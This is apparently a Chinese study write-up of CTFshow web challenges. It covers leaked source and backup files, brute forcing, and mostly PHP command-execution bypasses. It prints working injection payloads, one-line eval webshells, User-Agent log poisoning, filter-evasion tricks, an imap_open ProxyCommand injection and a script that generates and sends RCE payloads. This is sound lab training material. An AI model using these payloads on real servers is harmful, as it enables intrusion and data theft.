CTFshow-Web-WP

工具不是万能的

Web入门

信息收集

web-1

1
开发者开发不仔细,注释留在了前端界面,通过检查界面源代码发现漏洞和flag,得到的flag可能是编码之前的,所以需要进行base64解码或者其他方式解码

web-2

1
2
前端进行限制,无法查看页面源代码或者检查,通过view-source:url可以查看源代码 
通过不断刷新进行F12检查也可以开启代码检查,然后禁用JavaScript

web-3

1
通过BP抓包,respond返回请求携带信息泄露(flag)

web-4

==#如果是有明显的网站架构,可以优先扫描robots文件==

1
网页搜索引擎爬取网站的robots(.txt)文件,所以网站robots(.txt)文件也会信息泄露(flag)

web-5

1
phps文件泄露,若目录扫描到,通常用于提供给用户(访问者)直接通过Web浏览器查看php代码的内容。因为用户无法直接通过Web浏览器“看到”php文件的内容,所以需要用phps文件代替。用户访问phps文件就能看到对应的php文件的源码。其中可能有flag

web-6

1
网站管理者处理备份文件不当,在更新网站的过程中留下了网站源码的备份文件 
1
2
3
4
5
6
网站备份压缩文件,漏洞成因,在网站的升级和维护过程中,通常需要对网站中的文件进行修改。此时就需要对网站整站或者其中某一页面进行备份。
当备份文件或者修改过程中的缓存文件因为各种原因而被留在网站 web 目录下,而该目录又没有设置访问权限时,便有可能导致备份文件或者编辑器的缓存文件被下载,导致敏感信息泄露,给服务器的安全埋下隐患。
该漏洞的成因主要有是管理员将备份文件放在到 web 服务器可以访问的目录下。
该漏洞往往会导致服务器整站源代码或者部分页面的源代码被下载,利用。源代码中所包含的各类敏感信息,如服务器数据库连接信息,服务器配置信息等会因此而泄露,造成巨大的损失。
被泄露的源代码还可能会被用于代码审计,进一步利用而对整个系统的安全埋下隐患。
网站备份文件后缀:.rar .zip .7z .tar.gz .bak .swp .txt

web-7

1
开发人员在开发时,常常会先把源码提交到远程托管网站(如github),最后再从远程托管网站把源码pull到服务器的web目录下,如果忘记把.git文件删除,就造成此漏洞。利用.git文件恢复网站的源码,而源码里可能会有数据库的信息。
1
2
.gitignore (配置在git进行文件跟踪的时候忽略掉哪些文件 , 从这个文件一般也可以得到一部分网站的目录结构 , 或者一些日志/配置文件等敏感文件)
在一个目录中初始化一个仓库以后 , 会在这个目录下产生一个名叫 .git 的隐藏文件夹(版本库)这个文件夹里面保存了这个仓库的所有版本等一系列信息
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
1. 什么是版本控制?
版本控制(Revision control)是一种在开发的过程中用于管理我们对文件、目录或工程等内容的修改历史,方便查看更改历史记录,备份以便恢复以前的版本的软件工程技术。简单来说就是用于管理多人协同开发项目的技术。

2. 为什么要有版本控制?
没有进行版本控制或者版本控制本身缺乏正确的流程管理,在软件开发过程中将会引入很多问题,如软件代码的一致性、软件内容的冗余、软件过程的事物性、软件开发过程中的并发性、软件源代码的安全性,以及软件的整合等问题。无论是工作还是学习,或者是自己做笔记,都经历过这样一个阶段!我们就迫切需要一个版本控制工具。(多人开发就必须要使用版本控制)

使用版本控制之后可以给你带来的一些便利:
● 实现跨区域多人协同开发
● 追踪和记载一个或者多个文件的历史记录
● 组织和保护你的源代码和文档
● 统计工作量
● 并行开发、提高开发效率
● 跟踪记录整个软件的开发过程
● 减轻开发人员的负担,节省时间,同时降低人为错误

3. 常见的版本控制工具
主流的版本控制器有如下这些:
● Git
● SVN(Subversion)
● CVS(Concurrent Versions System)
● VSS(Micorosoft Visual SourceSafe)
● TFS(Team

web-8

1
这题和上一题类似,只不过这一题是SVN文件泄露

web-9

==dirsearch扫描不出这个文件==

1
vim缓存泄露,在使用vim进行编辑时,会产生缓存文件,如果网站管理员没有删.时可以通过缓存文件来得到原文件,以index.php来说,第一次退出,缓存文件名为 .index.php.swp,第二次退出后,缓存文件名为.index.php.swo,第三次退出后文件名为.index.php.swn

web-10

1
Respond返回Cookie携带flag

web-11

1
域名解析隐藏信息flag

web-12

1
不要忘记robots.txt,有时候网站管理者的账号或者邮箱就是密码

web-13

1
多在网页点点,特别是网页底部,不要过于相信dirsearch

web-14

1
网页源码泄露路径,editor编辑框的上传文件里面的文件空间会泄露整个服务器文件系统,拿到网站的flag

web-15

1
网站管理者邮箱泄露信息,通过邮箱的信息收集可能回答出密保问题

web-16

1
默认探针为tz.php,里面可以对数据库密码进行测试,也含有phpinfo,phpinfo里面可以查看当前php的环境变量和一些函数,从而得到flag

web-18

1
查看js文件,发现Unicode编码文件,可以F12直接console改js数值   sorce=130;game_over=false;执行run()拿到110.php,拿到flag

web-19

==只要是前端验证,都可以通过bp进行抓包改包==

1
不要忘记burp,只要是前端验证,都可以通过bp进行抓包改包,前端的js代码很重要,可以掌控很多事情,很多地方也是通过前端进行验证的,多多尝试编码格式,我这道题的编码格式是Hex

web-20

1
mdb数据库文件泄露,mdb是早期的access和asp数据库,后缀是mdb,也别忘记在扫描出的目录后面接着扫描

web-21

1
sql文件泄露,可以用Navicat打开

爆破

web-21

1
2
3
4
5
6
7
8
9
10
11
在类似表单提交的应用中
表单数据请求应为:
Authorization: Basic YWRtaW46cGFzc3dvcmQ=
Basic 后面为数据,我这道题的内容格式(一般需要进行Base64解码)为(username):(password)
我们对YWRtaW46cGFzc3dvcmQ=进行设置攻击变量
这道题因为给的字典只有密码所以猜测username是admin
所以在payload处理添加规则固定前缀是admin:(这里是表单数据格式)和base64编码(因为前端拦截数据进行了编码)
因为我们前面添加规则对我们的数据进行base64编码了,则在payload编码处取消编码,免得二次编码

进行攻击:
状态码200成功回显,拿到flag

web-22

1
360quake 使用空间搜索引擎360quake 搜索语法domain="ctf.show" 可以搜索出子域名vip.ctf.show 可以发现子域名vip.ctf.show下面有flag--->flag{ctf_show_web}

web-23

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
方法1
进入靶场后测试token=1--->http://37c4bbc1-3a2d-4e5a-a812-13a0db1e1793.challenge.ctf.show/?token=1 然后进入intruder模块 给1添加payload 开始爆破 发现第422位和第1202位长度不同 得知十分的不对劲 点进去响应包发现有flog--->ctfshow{f9bebf73-0d20-4d9d-a196-76390fe945d7}

方法2
写一个脚本让它算出来实际的值
通过给出的源代码可知,我们要传入一个参数(token)的值
算出token的md5的值将第2位与第15位比较,第15位与18位比较(2位=15位=18位)
再算md5的整数值,(第2位+第15位+第18位)/(第2位)=(第32位)则拿到flag

编写脚本:
import hashlib # 导入 hashlib 模块以便使用哈希函数

def is_valid_token(token):
# 计算给定 token 的 MD5 哈希值,并将其转换为十六进制字符串
md5_hash = hashlib.md5(token).hexdigest()

# 检查哈希值的特定字符是否相等
if (md5_hash[1] == md5_hash[14] == md5_hash[17]):
# 将哈希值的第二个字符转换为十六进制整数
x = int(md5_hash[1], 16)

# 检查 (3 * x) / x 是否等于哈希值的最后一个字符的十六进制整数
if (3 * x) / x == int(md5_hash[31], 16):
return True # 如果条件满足,返回 True,表示 token 有效

return False # 如果条件不满足,返回 False,表示 token 无效

# 遍历从 0 到 999999 的所有整数,尝试作为 token
for i in range(1000000):
# 将整数 i 转换为字符串并编码为字节,作为 token
token = str(i).encode()

# 检查生成的 token 是否有效
if is_valid_token(token):
print(f"Valid token found: {i}") # 打印找到的有效 token
break # 找到有效 token 后退出循环


==一定要有自己读代码的能力和写脚本的能力==

inval函数说明

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
intval() 函数用于获取变量的整数值。

intval() 函数通过使用指定的进制 base 转换(默认是十进制),返回变量 varinteger 数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1
PHP 4, PHP 5, PHP 7

语法
int intval ( mixed $var [, int $base = 10 ] )
参数说明:

$var:要转换成 integer 的数量值。
$base:转化所使用的进制。
如果 base 是 0,通过检测 var 的格式来决定使用的进制:

如果字符串包括了 "0x" (或 "0X") 的前缀,使用 16 进制 (hex);否则,
如果字符串以 "0" 开始,使用 8 进制(octal);否则,
将使用 10 进制 (decimal)。
返回值
成功时返回 varinteger 值,失败时返回 0。 空的 array 返回 0,非空的 array 返回 1

最大的值取决于操作系统。 32 位系统最大带符号的 integer 范围是 -21474836482147483647。举例,在这样的系统上, intval('1000000000000') 会返回 214748364764 位系统上,最大带符号的 integer 值是 9223372036854775807
字符串有可能返回 0,虽然取决于字符串最左侧的字符。

<?php
echo intval(42); // 42
echo intval(4.2); // 4
echo intval('42'); // 42
echo intval('+42'); // 42
echo intval('-42'); // -42
echo intval(042); // 34
echo intval('042'); // 42
echo intval(1e10); // 10000000000
echo intval('1e10'); // 10000000000
echo intval(0x1A); // 26
echo intval(42000000); // 42000000
echo intval(420000000000000000000); // 0
echo intval('420000000000000000000'); // 2147483647
echo intval(42, 8); // 42
echo intval('42', 8); // 34
echo intval(array()); // 0
echo intval(array('foo', 'bar')); // 1
?>

web-24

1
2
3
这里要注意 需要知道伪随机数的概念 如果随机数种子定了 那么产生的随机数就是确定的 这里有个坑 php版本不一定要和靶场一样 网上找一个那种php在线运行环境即可

phpstudy的目录索引功能的开启不是要删除目录首页读取的,只用删除文件里面的目录首页就可以了

mt_rand函数说明

1
2
高版本已经弃用了这个函数,因为这个函数生成的是伪随机数,会根据系统生成随机数,只要随机数种子固定,生成的这个随机数也是固定的
如果再次调用的话会再次进行伪随机

根据随机数爆出随机种子这个工具我下载在了kali上,以下是它的用法:

web-25

1
2
3
根据源码可知,开始令r=0可以得到一个随机数,但是后面要修改token的cookie使之等于第二次随机数和第三次随机数之和
Cookie: token=随机数之和
使用php_mt_seed爆出随机种子

php_mt_seed_kali

web-26

==多bp手动抓包,然后观察正常页面没有的页面(这题是checkdb.php),虽然不一定能访问,但是能分析==

1
正常爆破数据库密码就行了

web-27

==不要用单一浏览器抓包,Chrome>firefox>edge==

1
2
3
4
5
6
7
8
先登录界面,发现有爆破信息(给了一部分学生信息),又有爆破点(学生信息查询界面),尝试对学生信息进行爆破
用burp抓包post请求,修改post请求,进行日期爆破

日期格式:yyyyMMdd #y:年份,M:月份,d:天
抓取回显长度不同的Unicode解码
拿到学号和密码进入系统,拿到flag

\u989d\nsdsd9\:一般都是Unicode编码

web-28

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
302状态码:
HTTP 状态码 302 表示临时重定向(Found),即客户端请求的资源暂时位于另一个 URL,且未来的请求可能会继续使用原始 URL。

302 状态码的作用:
临时重定向:当服务器返回 302 响应时,它告诉客户端请求的资源已被暂时移至新的 URL,但这个移动是临时的。客户端在将来仍然应该继续使用原始 URL 进行请求。
搜索引擎优化(SEO):与 301 永久重定向不同,302 重定向通常不会影响搜索引擎对原始 URL 的排名,因为它表明资源将在未来可能恢复使用原 URL。因此,搜索引擎不会将排名从旧 URL 转移到新 URL。
浏览器行为:当浏览器收到 302 响应时,它会自动重定向到新的 URL,但在以后的请求中仍然使用原 URL。
例子:
假设你访问了 http://example.com/page,服务器返回 302 状态码并提供一个临时的新 URL http://example.com/temporary-page,那么浏览器会跳转到新 URL,但它会继续使用原 URL 进行后续请求。

302 与 301 区别:
302 是临时重定向,意味着资源可能会在未来恢复使用原 URL,搜索引擎排名不会发生变化。
301 是永久重定向,意味着资源已永久迁移到新 URL,搜索引擎会将排名转移到新 URL。
常见场景:
维护模式:如果网站正在进行维护,临时将访问者重定向到一个维护页面,之后会恢复正常页面。
A/B 测试:网站可能会临时将流量导向不同的页面版本进行测试,测试结束后会恢复使用原 URL。
临时内容变化:当一个资源的内容或位置暂时改变时,使用 302 重定向指向新的位置,未来可能恢复原地址。

302 和其他临时重定向的区别:
301 与 302 都是重定向状态码,但 302 更明确地表示资源是临时的。
也有其他类似的临时重定向状态码,如 303 (See Other) 和 307 (Temporary Redirect),它们在行为上有一些细微的不同,但整体上都表示重定向是临时的。
总的来说,302 状态码适用于当你知道资源位置会发生变化,但又不想立即影响搜索引擎排名时。
1
2
3
这道题是将302重定向回到了原url,然而原url也没有此资源,结果又重定向到新url,新url又重定向到原url,就一直循环

这道题我们要将请求的资源去掉进行攻击,也就是2.txt去掉,这样无法的访问的就返回403,就成功找到了url,拿到flag

命令执行

web-29

可以使用php伪协议进行绕过

1
2
?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
其中?>代替分号

也可以使用linux命令直接查看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
?c=system("tac%20fla*"); 
#这个;千万不要忘记
#如果进行了文件黑名单可以使用*绕过

cat $(ls | head -n 1)
head -n 1:获取列表中的第一个文件。

用egrep效果一样egrep=grep -E
?c=system("cat fl*g.php | grep -E 'fl.g' ");
?c=system("cat fl*g.php");

倒序输出文本
?c=system("tac fl*g.php");
复制文本至a.txt
?c=system("cp fl*g.php a.txt ");
访问/a.txt
直接输出一个php这样就可以直接利用代码了,注意也是右键查看源代码
c=system('echo -e " <?php \n error_reporting(0); \n \$c= \$_GET[\'c\']; \n eval(\$c); " > a.php');
/a.php?c=system("tac flag.php");

==eval函数不支持数组,所以这题不适用数组绕过==

也可以使用一句话木马

1
2
?c=eval($_POST['yyssh']);
eval函数里面再包含eval

web-30

与上一题类似

php执行系统命令函数

system
1
2
3
4
5
6
说明:执行外部程序并显示输出资料。
语法:string system(string command, int [return_var]);
返回值: 字符串

详细介绍:
本函数就像是 C 语中的函数 system(),用来执行指令,并输出结果。若是 return_var 参数存在,则执行 command 之后的状态会填入 return_var 中。同样值得注意的是若需要处理用户输入的资料,而又要防止用户耍花招破解系统,则可以使用 EscapeShellCmd()。若 PHP 以模块式的执行,本函数会在每一行输出后自动更新 Web 服务器的输出缓冲暂存区。若需要完整的返回字符串,且不想经过不必要的其它中间的输出界面,可以使用 PassThru()。
1
2
$last_line = system("ls", $retval);
echo "Last line of the output: " . $last_line;
exec和shell_exec
1
2
3
4
5
6
7
8
9
10
说明:执行外部程序。
语法:string exec(string command, string [array], int [return_var]);
返回值: 字符串

详细介绍:
本函数执行输入 command 的外部程序或外部指令。它的返回字符串只是外部程序执行后返回的最后一行;若需要完整的返回字符串,可以使用 PassThru() 这个函数。

要是参数 array 存在,command 会将 array 加到参数中执行,若不欲 array 被处理,可以在执行 exec() 之前呼叫 unset()。若是 return_var 跟 array 二个参数都存在,则执行 command 之后的状态会填入 return_var 中。

值得注意的是若需要处理使用者输入的资料,而又要防止使用者耍花招破解系统,则可以使用 EscapeShellCmd()。
1
2
echo exec("whoami");
?>
popen
1
2
3
4
5
6
7
popen函数
说明:打开文件。
语法:int popen(string command, string mode);
返回值: 整数

详细介绍:
本函数执行指令开档,而该文件是用管道方式处理的文件。用本函数打开的文件只能是单向的 (只能读或只能写),而且一定要用 pclose() 关闭。在文件操作上可使用 fgets()、fgetss() 与 fputs()。若是开档发生错误,返回 false 值。
1
$fp = popen( "/bin/ls", "r" );
passthru
1
2
3
原型:function passthru(string $command,int[optional] $return_value)

知识点:passthru与system的区别,passthru直接将结果输出到游览器,不返回任何值,且其可以输出二进制,比如图像数据。
proc_open()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
// 要执行的命令
$cmd = "ls -l"; // 这个命令会列出当前目录下的所有文件及其详细信息

// 定义描述符,指定标准输入(stdin)、标准输出(stdout)、标准错误输出(stderr)
$descriptorspec = array(
0 => array("pipe", "r"), // 标准输入,写入数据到进程
1 => array("pipe", "w"), // 标准输出,从进程读取数据
2 => array("pipe", "w") // 标准错误输出,读取错误信息
);

// 用于接收进程的输入输出管道
$pipes = array();

// 启动进程
$process = proc_open($cmd, $descriptorspec, $pipes);

if (is_resource($process)) {
// 从标准输出读取数据
$output = stream_get_contents($pipes[1]);
fclose($pipes[1]); // 关闭标准输出管道

// 获取进程的返回值
$return_value = proc_close($process);

// 输出命令执行结果
echo "Command Output: " . $output . "\n";
echo "Return Value: " . $return_value . "\n";
} else {
echo "Failed to start the process.\n";
}
?>
pcntl_exec()
1
2
3
4
5
6
7
使用条件:Linux、安装且启用了pcntl插件

pcntl_exec(string $path, array $args = ?, array $envs = ?): void
<?php
$path = '/usr/bin/ping';
$arg = ['-c','1','example.com'];
pcntl_exec($path,$arg);
imap_open(低版本可能存在,高版本已被修复)
1
2
3
4
5
6
imap_open(string $mailbox,……)
<?php
$payload = "echo hello|tee /tmp/executed";
$encoded_payload = base64_encode($payload);
$server = "any -o ProxyCommand=echo\t".$encoded_payload."|base64\t-d|bash";
@imap_open('{'.$server.'}:143/imap}INBOX', '', '');
反撇号`(和~在同一个键)执行系统外部命令
1
2
3
4
知识点:在使用这种方法执行系统外部命令时,你要确保shell_exec函数可用,否则是无法使用这种反撇号执行系统外部命令的。

安全性说明
  当你使用这些函数执行命令时,如果是根据用户提交数据作为执行命令的话,你需要考虑系统安全性,可以使用escapeshellcmd()和escapeshellarg()函数阻止用户恶意在系统上执行命令,escapeshellcmd()针对的是执行的系统命令,而escapeshellarg()针对的是执行系统命令的参数。这两个参数有点类似addslashes()的功能。
1
echo `dir`;

开发人员查看文件内容

show_source(scandir(“.”)[0]);
1
2
3
4
5
6
7
8
9
10
11
12
在 PHP 中,show_source() 函数用于输出指定文件的源代码。它可以帮助开发人员查看文件的内容,通常用于调试或学习目的。scandir() 函数则用于返回指定目录中的文件和目录列表。

让我们逐步解析你提供的代码 show_source(scandir(".")[0]);:

scandir():这个函数用于扫描指定目录并返回该目录中文件和子目录的数组。它的第一个参数是目录路径。
".":表示当前工作目录。调用 scandir(".") 将返回当前目录中的所有文件和目录。

scandir(".")[0]
[0]:这是数组的索引访问,表示获取 scandir() 返回的数组中索引为 0 的元素。

show_source()
show_source(filename):此函数接受一个文件名作为参数,并输出该文件的源代码。它会以 HTML 格式显示源代码,并且可以高亮显示语法。
highlight_file(next(array_reverse(scandir(“.”))));
1
2
3
4
5
6
7
8
9
10
11
12
13
array_reverse():该函数接受一个数组并返回该数组的反转版本。也就是说,数组的最后一个元素将变为第一个,依此类推。

next():这个函数用于将数组指针向前移动一个位置,并返回当前指针所指向的元素。它会影响数组的内部指针。
假设我们对反转后的数组使用 next(),如果数组是:
Array
(
[0] => "dir1"
[1] => "file2.php"
[2] => "file1.php"
)
调用 next() 后,当前指针将指向 "file2.php",并返回这个值。

highlight_file(filename):这个函数接受一个文件名作为参数,并输出该文件的源代码,同时以 HTML 高亮显示。这个函数通常用于调试和查看 PHP 文件的内容。

web-31

show_source(next(array_reverse(scandir(pos(localeconv())))));
1
2
3
4
5
6
7
localeconv()返回一包含本地数字及货币格式信息的数组。而数组第一项就是"."

current()返回数组中的单元,默认取第一个值:
pos():这个函数用于返回数组的第一个值,并将内部指针移到数组的第一个元素。它可以用于获取数组的第一个元素。
pos是current的别名

如果都被过滤还可以使用reset(),该函数返回数组第一个单元的值,如果数组为空则返回 FALSE
?c=$f=glob(“f*”);show_source($f[0]);
1
2
glob():这个函数用于根据给定的模式查找文件路径。它返回一个数组,其中包含与模式匹配的文件名。
"f*":这是一个通配符模式,表示匹配所有以字母 f 开头的文件名。例如,它可能匹配到 file1.txt、foo.php 等文件。
1
2
3
4
5
6
7
8
9
10
11
假设当前目录包含以下文件:
file1.txt
foo.php
bar.txt

调用 glob("f*") 将返回一个数组:
Array
(
[0] => "file1.txt"
[1] => "foo.php"
)

==获取绝对路径可用的有getcwd()realpath('.')所以我们还可以用print_r(scandir(getcwd()));输出当前文件夹所有文件名==

如果要获取的数组是最后一个我们可以用:

1
show_source(end(scandir(getcwd())));

ps:**readgzfile()也可读文件,常用于绕过过滤**

1
readgzfile() 可用于读取非 gzip 格式的文件; 在这种情况下,readgzfile() 将直接从文件中读取而不进行解压缩。

web-32

php中不需要()的函数
1
2
3
4
5
6
7
echo 123;
print 123;
die;
include "/etc/passwd";
require "/etc/passwd";
include_once "/etc/passwd";
require_once "etc/passwd";
换一种方法的UA注入
1
2
url/?c=include$_GET[1]?%3E&1=../../../../var/log/nginx/access.log
/var/log/nginx/access.log是nginx默认的access日志路径,访问该路径时,在User-Agent中写入一句话木马,然后用中国蚁剑连接即可

web-33

1
2
跟上一道题一样的注入,但是解释一下为什么这后面的.不会被过滤
因为preg_match函数只过滤前面变量c的内容,对变量1的内容不进行过滤
1
2
3
4
这个协议也可以换成php://input
改变请求,再加一个请求主体

data://text/plain,后面接一句话木马或者注入内容

web-34\35\36

1
和上一关一样

web-37\38

1
2
这关其实换汤不换药,把命令执行换成了include,但是依然可以UA一句话木马
或者伪协议data://text/plain,

web-39

1
2
3
4
5
这关因为在get请求数据后面衔接.php所以不能进行编码绕过
#因为是先进行衔接再进行data流解析

所以直接输入data://text/plain,<?php @eval($_POST['yyssh'])?>
因为include只解析<php包含内容>,当然也可以用//把后面的部分给注释掉

web-40

GET和POST请求分离
1
2
3
4
5
6
7
8
9
10
这道题过滤的其实是中文括号,所以可以用无参数命令绕过
show_source(next(array_reverse(scandir(pos(localeconv())))));

?c=eval(next(reset(get_defined_vars())));&1=system("tac%20flag.php");
这里采用自变量偏移,先在前面偏移一个变量,然后再自己设置变量1,将next指针指向了system这段函数

get_defined_vars():这个函数返回当前作用域中定义的所有变量的数组。
reset():重置数组的内部指针,返回数组的第一个元素。
next():将内部指针向前移动一个位置,并返回当前指针所指向的元素。

==他这道题还隐藏着一个什么都没有过滤的POST(参数都没有,可以直接写入)的请求==

1
2
3
4
5
6
7
8
9
?c=print_r(get_defined_vars());
//打印当前作用域有哪些数组

发现一个POST请求数组,发现可以随意写入,没有参数
1=phpinfo();

GET: ?c=eval(array_pop(next(get_defined_vars())));
POST: 1=system('tac flag.php');
执行任意命令

web-41

执行常见系统命令/函数

1
2
3
4
5
6
7
8
9
10
11
常见的系统命令可以进行命令执行:
awk 格式:awk'{printf $0;}'flag.php || 该命令意思是其全局检索flag.php内容并输出
cat/tac 读取,tac是cat的倒向读取
nl 读取文件,并在文件的每一行前面标上行号
vi/vim 编辑器,可以实现查看文件
od 二进制方式读取文件内容
more 类似于cat
mv/cp 复制,但是可以通过复制的文件输出
file -f 报错出具体内容
uniq 也可以读取文件内容,但是会去重
ls 读目录

Exp脚本编写

1
2
3
4
这道题实行了严格的过滤,对所有的数字、字母、以及大部分字符标点符号,但是遗留了||按位或运算符
所以这道题的绕过想法是将没有被过滤的代码进行按位或运算生成一个命令执行字符串
首先第一步筛选出没有被过滤的字符,然后将没有被过滤的字符进行按位或运算,得到新的字符
因为没有被过滤的字符还有很多,生成的新字符也有很多,所以这里我们采用编写脚本

生成字符

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php
$myfile = fopen("rce_or.txt", "w"); //将字符写入文本中
$contents="";
for($i=0;$i<256;$i++)
{
for($j=0;$j<256;$j++) //将所有的ASCII码值筛选出来
{
if($i<16)
{
$hex_i='0'.dechex($i); //进行十六进制编码
}
else
{
$hex_i=dechex($i);
}
if($j<16)
{
$hex_j='0'.dechex($j);
}
else
{
$hex_j=dechex($j);
}
$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j)))
{ //筛选没有被过滤的字符串
echo "";
}
else
{
$a='%'.$hex_i; //将这些字符串进行URL编码
$b='%'.$hex_j;
$c=(urldecode($a)|urldecode($b)); //解码之后进行按位或运算
if (ord($c)>=32&ord($c)<=126) //如果可以打印出来则记录进文本中
{
$contents=$contents.$c." ".$a." ".$b."\n";
}
}
}
} //这里为什么不把contents每一次都置0,因为最后只记录一次contens进入文本(所以对contents进行累加)
fwrite($myfile,$contents);
fclose($myfile);
?>

拿到我们想要的新字符,可以进行RCE的,这里我们用system来进行举例

1
2
这里有两种办法,一种是去文本文件里面,直接搜索我们要的新字符,然后一个一个写入
还有一种是通过编写脚本,帮助我们查询新字符,并合成字符串,发送至URL

查询字符

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import urllib	#对POST传入数据进行URL编码
import requests #发送POST请求
from sys import * #读取用户传入参数
import os #执行前面的生成字符文件

os.system("php web22.php") #执行前面的生成字符文件
if len(argv)!=2 : #判断用户输入是否正确
print("-" * 50)
print("你输入的不正确")
print("输入格式为:python 脚本名 url")
exit(0)
url=argv[1] #根据用户输入的值,进行URL赋值

def action(act): #查询并合成新字符函数
s1=""
s2=""
f=open("rce_or.txt","r",encoding="UTF-8")
for i in act:
f.seek(0) #让每一次文件都从头开始查找
for line in f:
Acm=line
# Acm=line.split(" ") //不能用用空格分隔,有些未被过滤的字符也被分隔了
cm=Acm[0]
if cm==i:
s1+=Acm[2:5] #从第2个开始读取到第4个
s2+=Acm[6:9]
break
output = "(\"" + s1 + "\"|\"" + s2 + "\")" #括号引起来的操作,方便进行或运算("s1"|"s2")
print(output)
f.close()
return output

while True:
param=action(input("RCE_function:"))+action(input("Command:"))
data={
'c':urllib.parse.unquote(param) #这里必须用URL解码,不然浏览器会对数据再一次URL编码
}
r=requests.post(url,data=data)
print(f"Web41_flag:\n{r.text}")

==这里systemls不用加;(分号),最开始进行按位或运算,已经把这段代码当作php代码执行了==

对上面一些函数的解释

argv
1
2
argv是sys库的一个函数
argv[0]:脚本名 argv[1]:用户输入的第一个参数
urllib.parse.unquote
1
对参数进行URL解码

web-42

1
2
采用将命令输出重定向的黑洞(/dev/null)的过滤
我们可以采用命令分隔符把后面的命令重定向,前面的命令照常输出

命令分隔符

1
2
3
4
5
; //分号
| //只执行后面那条命令
|| //只执行前面那条命令
& //两条命令都会执行
&& //两条命令都会执行

web-43/44

1
钱白花了,就是跟前面一样的cat和flag过滤,运用*或者tac就可以绕过了

web-45

==空格绕过新知识==

1
2
3
${IFS}绕过:在linux下,${IFS}是分隔符的意思,所以可以有${IFS}进行空格的替代。

$IFS$9绕过:$起截断作用,9为当前shell进程的第九个参数,始终为空字符串,所以同样能代替空字符串进行分割。
讲解一下这个IFS
1
2
3
IFS在Linux中就是一个系统变量,$IFS就表示分隔符,但是单纯的cat$IFS2,无法输出,是因为系统把IFS2整体当作变量了
所以可以使用{IFS}把这个变量名给固定住,cat${IFS}2,成功执行
如果{}被过滤则可以cat$IFS$9,$9系统变量空字符串打断IFS的变量名,cat$IFS$92,也可以成功执行
1
2
3
4
5
6
cat flag.txt
cat${IFS}flag.txt
cat$IFS$9flag.txt
cat<flag.txt
cat<>flag.txt
{cat,flag.txt}

web-46\47\48\49\50\51

1
2
3
4
5
6
7
8
9
10
*号被过滤,可以用?号\号''号替代
cat fl?g.php
cat fla\g.php
cat flag''g.php

命令过滤绕过
ca''t flag.php
ca\t flag.php

其他的跟前面一样

web-52\53\54

1
2
3
这题阴了一手,过滤还是常规过滤,但是flag在根目录下
补充:
ls如果展开是一个路径的话,说明这个东西是一个文件

web-55/56

1
2
3
4
5
6
7
8
9
由于题目没有过滤掉数字,所以才用linux自带的base64编码输出,将flag输出
payload:
?c=/???/????64 ????.???
意思为:?c=/bin/base64 flag.php

?c=/???/???/????2 ????.???
意思为:?c=/usr/bin/bzip2 flag.php

最后访问url/flag.php.bz2即可

还可以通过$命令执行

1
2
3
4
$'...' 是 Bash 中的一个特性,表示支持特殊字符(比如通过八进制、十六进制或 Unicode 字符)的字符串。
payload:
$'\164\141\143' $'\146\154\141\147\56\160\150\160'
意思是:tac flag.php

/bin/sh命令执行

1
2
3
4
因为在linux里面.就代表sh命令
sh命令我们就理解为打开终端
然后我们自己上传一个文件,这个文件会产生一个临时文件在tmp目录下
我们用sh命令打开这个临时文件,文件内容就是命令输入,这样就会造成sh执行注入命令

首先拿到这个网页的文件上传模板,先构造一个文件上传,然后burp抓包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<!DOCTYPE html>
<html lang="en">

<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>

<body>
<form action="http://4db3939d-5503-445b-9328-124df867dd3e.challenge.ctf.show/" method="post"
enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>

</html>

图片上传模板

然后通过修改这个数据包,达到命令执行

这里说一下php临时文件的命名规则

Windows下的大多都是phpxxxxxx.tmp,linux下的大多都是phpxxxxxx

因为x的有大小写字母,我们可以直接先固定住一个字符,然后全体通配符匹配,????????[@-[]固定住最后一个字符为大写字符进行匹配

1
2
3
4
5
6
7
8
9
10
构造GET参数payload为:
?c=.%20/???/????????[@-[]
意思为:?c=. /tmp/phpxxxxxx
.%20表示可以直接执行文件,所以下面不加#!/bin/sh也可以执行
网页文件tmp目录大以/phpxxxxxx结尾
也有可能是小写字母,所以没回显的话,需要多尝试,[@-[]表示@到[之间的字符,这里是包括所有大写字母

构造POST参数payload为:
#!/bin/sh
cat flag.php

web-57

1
2
3
4
5
这题属于知识拓展,$(())=0,$((~$(())))=-1,里面默认式子相加也就是
$((~$(()))~$(()))))=-1+(-1)=-2
这题要我们构造出36也就是将-37进行取反,他这里取反会少一,原理是二进制的按位取反
这里我们采用多在虚拟机上实验
然后用python脚本构造payload #总不能自己手打37个吧,脚本的作用就是替代重复的工作

web-58\59

1
2
3
4
没有过滤include,可以使用include加php伪协议绕过

使用c=copy("flag.php","flag.txt")
renama,highlight_file,show_source这些函数都没有被过滤

web-60/61/62

php扫描文件
1
c=print_r(scandir(dirname('_FILE_')));
查看目录
1
2
3
c=print_r(scandir("路径"));
c=print_r(scandir(".."));
c=var_dump(scandir("路径"));

web-63

1
2
